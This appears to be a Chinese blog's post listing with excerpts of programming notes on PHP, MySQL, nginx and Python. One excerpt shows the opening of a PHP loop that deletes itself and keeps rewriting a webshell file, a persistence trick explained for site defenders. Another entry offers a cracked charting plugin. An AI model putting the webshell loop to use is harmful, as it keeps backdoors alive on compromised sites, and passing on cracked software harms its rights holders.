- 博客(96)
- 资源 (2)
- 收藏
- 关注
原创 简单发红包算法。
随机分配X个红包,初始版,暂留在这里笔记。。年后再处理,实际应用中需要结合redis等考虑并发的东西。<?php/*** */class readPack { //总金额 public $sumMoney = 0; //要发的红包个数 public $nums = 0; //单个最小获得红包 public $min = 0;
2017-01-22 16:31:44 1132
原创 杀不死的Webshell
在日常应用中。是否遇到过明明后门都删除完了,可是过一会儿又会出现?感觉就像杀不死一样。。。那么它们是怎么做到的呢?看代码:<?php set_time_limit(0); ignore_user_abort(1); unlink(__FILE__); while(1){ file_put_contents('webshell.php','
2016-12-12 14:51:04 2718
转载 搭建mysql主从复制---Mysql Replication
复制的基本过程: a、Slave的IO线程链接多Master,并请求日志文件的指定位置之后的内容。 b、Master接收到请求后,负责复制的IO线程根据请求的信息读取指定日志指定位置的日志信息,返回给Slave的IO线程。内容还包括本次返回的信息在Master端的Binary Log的日志文件名和位置。 c、Slave端的IO线程街道信息后,将内容写入Slave端的Relay
2014-11-12 10:58:35 624
原创 PHP+MySQL数据库之中文全文检索解决方案
由于MYSQL仅支持英文的全文索引FULLTEXT,不支持中文,因为中文不能像英文那样通过空格来准确的判断单词,而需要通过语义来判断,这就需要我们对中文进行切词。但是我们可以通过另一种方式来曲线解决这一问题。项目需求:1.根据关键词搜索商品,2.搜索结果排序按匹配度降序排列(类似于搜索引擎)一般情况下我们做搜索的时候是对关键词进行分词后,采用LIKE或REGEXP的
2014-08-16 14:56:25 2310
转载 Mysql全文搜索之MATCH...AGAINST的用法介绍
前提:mysql只支持英文内容的全文索引,所以只考虑英文的全文搜索。假定数据表名为post,有三列:id、title、content。id是自增长序号,title是varchar,content是text,给content添加全文索引。mysql全文搜索有三种模式:一、自然语言查找。这是mysql默认的全文搜索方式,sql示例:
2014-08-16 14:05:18 17840
转载 TLV包PHP解析类
<?php/** * * TLV包解析类 * */class Tlv { private $buffer; private $t_len = 4; //T长度 private $l_len = 4; //L长度 private $buf_len =0; //字节流长度 private $buf_a
2014-08-12 14:07:02 1444
原创 Nginx HTTP Post Method: 405 Method not allowed 解决办法
由于Apache、IIS、Nginx等绝大多数web服务器,都不允许静态文件响应POST请求,否则会返回“HTTP/1.1 405Method not allowed”错误
2014-06-26 14:45:36 4107
转载 MySql按周,按月,按日分组统计数据
知识关键词:DATE_FORMATselect DATE_FORMAT(create_time,'%Y%u') weeks,count(caseid) count from tc_case group by weeks; select DATE_FORMAT(create_time,'%Y%m%d') days,count(caseid) count from tc_case group
2014-06-13 14:53:52 738
转载 MySQL表数据迁移自动化
一.本文所涉及的内容(Contents)本文所涉及的内容(Contents)背景(Contexts)设计思路(Design)迁移自动化特点(Points)实现代码(SQL Codes)参考文献(References)二.背景(Contexts) 之前我写过关于SQL Server的数据迁移自动化的文章:SQL Server 数据库迁移偏方,在上篇文章中设计了一张临时表,这个临时表
2014-06-13 13:54:03 722
转载 nginx基本配置与参数说明
#运行用户user nobody;#启动进程,通常设置成和cpu的数量相等worker_processes 1;#全局错误日志及PID文件#error_log logs/error.log;#error_log logs/error.log notice;#error_log logs/error.log info;#pid logs/nginx.pi
2014-06-04 10:22:10 547
原创 微信公众平台 网页中一键关注代码
typeof WeixinJSBridge != "undefined" && WeixinJSBridge.invoke && WeixinJSBridge.invoke("profile", {username: 'WeixinID',scene: "57"
2014-05-30 17:26:39 10678 2
原创 DOC转PDF的vbs脚本
Option ExplicitDoc2PDF WScript.Arguments(0),WScript.Arguments(1)Sub Doc2PDF( myFile, tofile )' This subroutine opens a Word document, then saves it as PDF, and closes Word.' If the PDF file exis
2014-05-22 21:02:40 1447 1
转载 使用 EXPLAIN 关键字 检查SQL语句效率
explain详细说明通过explain可以知道mysql是如何处理语句,分析出查询或是表结构的性能瓶颈。通过expalin可以得到:1. 表的读取顺序2.表的读取操作的操作类型3.哪些索引可以使用4. 哪些索引被实际使用5.表之间的引用6.每张表有多少行被优化器查询explain显示字段1. id :语句的执行顺序标识2. select_type:
2014-05-14 14:10:55 5637
转载 python - 优雅的执行程序
在linux下,我们执行一个python程序是python /path/to/xxx.py。如果这个程序经常使用,会觉得这样有点麻烦。可以chmod +x /path/to/xxx.py,即给这个文件加上了可执行权限,就可以不用在前面敲python,直接/path/to/xxx.py运行了。不过,对于有代码洁癖的人看来,这样还不够优雅,后面还带着.py后缀。把.py后缀去掉也行,只
2014-05-10 13:20:18 641
转载 简短python 发送qq邮件代码
import smtplibfrom email.mime.text import MIMEText_user = "sigeken@qq.com"_pwd = "***"_to = "402363522@qq.com"#使用MIMEText构造符合smtp协议的header及bodymsg = MIMEText("乔装打扮,不择手段")msg["Subject"] = "d
2014-05-10 13:16:15 835
转载 jQuery 的 live() 方法对 hover 事件的处理
要求 jQuery 1.4.3+因为hover不是标准的事件,因此无法直接使用live进行处理,故使用以下方法代替,效果一样。$("table tr").live({ mouseenter: function() { //todo }, mouseleave: function() { //todo }});
2014-03-31 10:56:25 526
转载 linux下面快速删除大量文件及快速复制大量小文件
(1)快速删除大量小文件 今天遇见一个百万级的cache目录,删了20+分钟只删掉一个目录。。。。 在网上找到了一种巧妙的快速删除方法,原理很简单,使用rsync同步一个空目录即可。对于万级文件的目录基本是秒删,回车就OK。 步骤如下: 1、建立一个空目录 mkdir -p /tmp/rsync_blank 2、确立需
2014-03-03 15:35:02 3664
原创 Mysql ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in..的解决方法
今天在做一个功能的时候,用到两个时间戳相减来做查询条件,由于其两个字段都是unsigned的,并两个的大小是不一样。所以直接相减查询的时候,就出现ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in..的错误,因为结果可能会出现负数。。。。过后查资料,发现可以通过下面的方法来解决:mysql> select lastv
2013-11-26 18:03:13 10785 1
原创 MYSQL常用函数使用备忘录(更新中...)
感脚最近记忆力不行了,好多MYSQL的常用用法都忘记了,现在开这个帖子将它们记录下来。。。·GROUP_CONCAT()该函数返回带有来自一个组的连接的非NULL值的字符串结果。SELECT GROUP_CONCAT(pid) AS pids FROM table;返回结果如:1,2,3,4,5,6·CONCAT()该函数返回结果为连接参数产生的字符串。如有
2013-11-15 15:06:53 666
原创 PHP读取超大日志文件
打开一个17G的日志文件,都不吃力,除了占cpu之外,内存占用不多,如果直接fopen根本打不开注:它是逐行读取的foreach( glob( ngx_log. "/*.log" ) as $file ) { $log = new SplFileObject($file); foreach( $log as $line ){ $ipnum = getip($line);
2013-11-12 09:43:21 2762 1
转载 FTP上传下载文件支持目录
支持ftp上传下载文件和目录、适用于windows和linux平台。#!/usr/bin/env python# -*- coding: utf-8 -*-import ftplibimport osimport sysclass FTPSync(object): conn = ftplib.FTP() def __init__(self,host,port=2
2013-11-02 14:17:20 3454
转载 一段不错的验证码代码
<?php class Imagecode{ private $width ; private $height; private $counts; private $distrubcode; private $fonturl; private $session; function __construct($width = 120,$height = 30,$count
2013-11-02 14:11:28 980
原创 PHP一句话实现获取文件夹下的文件
下面这条命令就能实现 遍历你要的目录里面的*.jpg文件存放到$Files里面去PHP代码$Files = glob(‘{*.jpg}’, GLOB_BRACE); 可以用ForEach循环输出PHP代码foreach ($Files as $filename){ echo “<img src=”.$filename.”\n”; }
2013-10-09 14:27:07 1522
转载 Console命令详解,让调试js代码变得更简单
Firebug是网页开发的利器,能够极大地提升工作效率。但是,它不太容易上手。我曾经翻译过一篇《Firebug入门指南》,介绍了一些基本用法。今天,继续介绍它的高级用法。===================================Firebug控制台详解作者:阮一峰出处:http://www.ruanyifeng.com/blog/2011/03/firebug_
2013-08-16 11:03:39 613
原创 MYSQL查询某字段中以逗号分隔的字符串的方法
首先我们建立一张带有逗号分隔的字符串。CREATE TABLE test(id int(6) NOT NULL AUTO_INCREMENT,PRIMARY KEY (id),pname VARCHAR(20) NOT NULL,pnum VARCHAR(50) NOT NULL);然后插入带有逗号分隔的测试数据INSERT INTO test(pname,pnum) VALUES
2013-08-13 16:54:08 43021 7
转载 PHPExcel操作简要说明
方法一:特点,简单,省心,<?phpheader("Content-type:application/vnd.ms-excel");header("Content-Disposition:attachment;filename=test_data.xls");$tx='表头'; echo $tx."\n\n"; //输出内容如下: echo "姓名"."\t";
2013-08-02 12:41:30 630
转载 Mysql 锁表 for update (引擎/事务)
因为之前用过oracle,知道利用select * for update 可以锁表。所以很自然就想到在mysql中能不能适应for update来锁表呢。学习参考如下 由于InnoDB预设是Row-Level Lock,所以只有「明确」的指定主键,MySQL才会执行Row lock (只锁住被选取的资料例) ,否则MySQL将会执行Table Lock (将整个资料表单给锁住)。举
2013-08-02 11:05:43 635
原创 可导出图片的图表插件flash_amcharts破解版
最近由于项目需要有饼图、柱状图、曲线图类的展示,虽然这方面的插件非常的多,特别现在基于Jquery的插件都非常多非常好用,但是项目中还有一个特别的需求就是需要将相关图表图形导出成JPG图片,这样的话Jquery插件就不行了,找了半天终于发现这个好东西,可以轻松导出图片。留下来以备后用。下载地址:http://download.csdn.net/download/xm1331305/
2013-07-31 22:55:57 1068
原创 PHP natsort 用“自然排序”算法对数组排序
boolnatsort ( array &$array )本函数实现了一个和人们通常对字母数字字符串进行排序的方法一样的排序算法并保持原有键/值的关联,这被称为“自然排序”。本算法和通常的计算机字符串排序算法(用于sort())的区别见下面示例。成功时返回 TRUE, 或者在失败时返回 FALSE. <?php$array1 = $array2 = arr
2013-07-23 13:27:19 1064
原创 web打印分页的问题
web页面打印怎么分页呢?页面不像word,可以随意分页,怎样解决这个问题呢?css是好东西,page-break-after: always;这个css就是用来控制分页的,always就是强制分页了。举例如下:第一页第二页第三页
2013-07-05 13:36:02 765
转载 PowerDesigner设计数据库后将name自动添加到commit中
在使用PowerDesigner对数据库进行概念模型和物理模型设计时,一般在NAME或Comment中写中文,在Code中写英文。Name用来显 示,Code在代码中使用,但Comment中的文字会保存到数据库Table或Column的Comment中,当Name已经存在的时候,再写一次 Comment很麻烦,可以使用以下代码来解决这个问题:1.PowerDesigner显示注释字段问题
2013-06-25 10:20:58 2594
原创 Python 图型处理笔记(不断更新中)
Image 模块Image 模块提供了同名的类用来表示PIL的图像。Image模块还提供了许多工厂(factory)函数,包块从文件加载图像的函数,以及创建新图像的函数。下面对Image的一些操作记录import Imageimport sysimport globimage_name = "./pic/qq.jpg"im = Image.open(image_name)
2013-06-21 16:48:54 813
原创 MYSQL常用操作命令
##MySQL数据库SQL(Structured Query Language)结构化查询语言常用基本操作:/*DDL(Data Definition Language)数据定义语言*/ ##创建数据库: create database '数据库名称' charset utf8; ##删除数据库: drop database '数据库名称'; ##显示所
2013-06-09 10:40:41 480
原创 Mysql 外键约束 on delete和on update
Mysql 下,外键设置:on delete rule:1、RESTRICT:约束 如果存在从数据,不允许删除主数据。2、NO ACTION 如果存在从数据,不允许删除主数据。3、CASCADE:级联 删除主数据,顺便也删掉从数据。4、SET NULL 删除主数据,从数据外键的值设为NULL。on update rule:
2013-06-09 10:19:45 2320
转载 使用Python进行验证码识别
以 前写过一个刷校内网的人气的工具,Java的(以后再也不行Java程序了),里面用到了验证码识别,那段代码不是我自己写的:-)校内的验证是完全单色没有任何干挠的验证码,识别起来比较容易,不过从那段代码中可以看到基本的验证码识别方式。这几天在写一个程序的时候需要识别验证码,因为程序是Python写的自然打算用Python进行验证码的识别。以前没用Python处理过图像,不太了解PIL(Pyth
2013-05-30 16:01:12 1713
原创 验证码识别之中国移动话费查询
最近公司一个客户要求查询其手里的一批电话号的余额。而目前我们公司的移动接口已被收回,所以只能去移动网站抓取了。由于公司觉得自己开发没必要,钱太少,所以所说就花了5000大洋给外包出去做了。今天听说已开发完了,刚好我最近又准备辞职正在交接,又没事做。所以就看看是否也去做个试试。所以就在网上查了一下关于验证码的相关文档依葫芦画瓢,终于将这个功能搞定。中国移动网站的验证码很简单。
2013-05-29 14:17:35 4537 2
转载 PHP 长文章的分页解决办法
感谢作者 yytcpt(无影)这个类解决了带html标签的长文章的分页显示问题。/* * 长文章分页类 * @package cutpage * @author yytcpt(无影) * @version 2008-03-27 */ class cutpage{ var $
2013-05-28 11:27:17 854
flash_amcharts破解版
2013-07-31
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人